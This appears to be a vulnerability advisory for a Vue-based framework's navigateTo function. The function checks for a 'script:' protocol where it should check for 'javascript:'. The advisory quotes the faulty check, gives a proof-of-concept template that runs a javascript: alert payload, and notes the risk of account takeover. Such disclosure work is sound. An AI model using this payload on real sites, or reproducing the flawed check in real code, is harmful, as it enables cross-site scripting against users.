Vunerability

The check for external links checks if the protocol is script:, which is not a valid protocol and allows the user to provide a valid javascript payload using javascript: protocol.

 if (isExternal && parseURL(toPath).protocol === 'script:') {
    throw new Error('Cannot navigate to an URL with script protocol.')
  }

Proof of Concept 1

<template>
  <button @click="async ()=>{
    await navigateTo('javascript:alert(document.domain)', {
    external: true,
    })}">
  Navigate</button>
</template>

Impact

Allows the injection of javascript code, which could lead to account takeover when cookies are misconfigured. User interaction is required since the user needs to actively click on the submitted link.